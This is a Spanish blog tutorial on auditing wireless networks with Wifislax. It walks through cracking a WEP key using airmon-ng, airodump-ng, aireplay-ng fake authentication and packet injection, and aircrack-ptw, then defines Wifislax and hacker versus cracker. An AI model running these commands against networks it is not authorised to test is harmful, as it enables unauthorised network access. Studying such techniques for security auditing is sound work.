Auditoria de Wireless con Wifislax

Primero debemos recordar que el uso de esta informacion es de caracter educativo, el conocimiento debe ser gratis, recuerden que no me hago responsable de los usos de la informacion expuesta.

Recomiendo leer las 2 publicaciones anteriores para entender mejor el tema.

Para este mini tutotial vamos a trabajar con una clave WEP bajo el channel 6.

Miremos el estado de nuestra tarjeta wireless, con la instruccion (iwconfig wlan0).

Ponemos nuestra tarjeta en modo monitor especificando el ch a trabajar (airmon-ng start wlan0 6)

Veamos el nuevo estado de nuestra tarjeta (iwconfig wlan0)

Como es con fines educativos y por ello ya tenemos permisos para trabajar sobre algun punto de acceso a internet inalambrica me salto el paso para el cambio de la mac de nuestra tarjeta.

Ahora vamos a capturar datos mediante la sentencia (airodump-ng -w aaa -c 6 wlan0) con esta sentencia podremos ver la mac del dispositivo a hackear.

Vamos a crear una autenticacion mediante la sentencia (aireplay-ng -1 30 -e xxx -a MAC -h MACH wlan0) en el espacio MACA ponemos la mac a trabajar y en el espacio MACH la mac de nuestra tarjeta.

Empesamos a inyectar paquetes (aireplay-ng -3 -x600 -b MACA -h MACH wlan0)

Puden ver que esta inyectando 500 paquetes

En 3 minutos ya tenemos 100,000 Datas utiles para sacar el pass

Ahora desncriptamos la clave con la sentencia (aircrack-ptw archivo.cap)

Wifislax

¿Que es wifislax?

Wifislax esta basado principalmente en SLAX (basado en la distribucion Slackware Linux), pero debido al gran trabajo realizado por los autores de BackTrack se puede conseguir su ultima edicion live CD.

El objetivo de este live Cd es aumentar el reconocimiento de las tarjetas wireless (no con todas las tarjetas o mejor chipset se puede realizar auditrias de wireless), otro objetivo de la creacion de esta distro es crear una herramienta de seguridad orientada al trabajo en auditoria inalambrica.

Hacking Etico

Empecemos por saber las difernecias entre un hacker y un cracker, con esto podemos enfatizar las intenciones de estudio.

El término cracker (de ingles crack, romper) tiene varias aceptaciones, entre las que podemos observar las siguientes:

-Es una persona que mediante la ingenieria inversa realiza: keygens y crack, los cuales sirven para modificar el comportamiento o ampliar la funcionalidad del software o hardware original al que se aplican, sin que en absoluto pretenda ser dañino para el usuario mismo.

-Es cualquier persona que viola la seguridad de un sistema informatico de forma similar a como lo haria un hacker, solo que a diferencia de este ultimo, el cracker realiza la intrusion con fines de benficio personal o para hacer daño.

En informatica, un hacker es una persona que pertenece a una de estas comunidades o subculturas distintas pero no completamente independientes:

-Gente apasionada por la seguridad informatica. Esto principalmente a entradas remotas no autorizadas por medio de redes de comunicacion como internet ("Black hats"). Pero tambuen incluye a aquellos que depuran y arreglan errores en los sistemas ("White hats") y a los de moral ambigua como son los "Grey hats".

Este blog se fundamenta en las buenas acciones de las personas, y lo expuesto es con usos educativos y preventivos.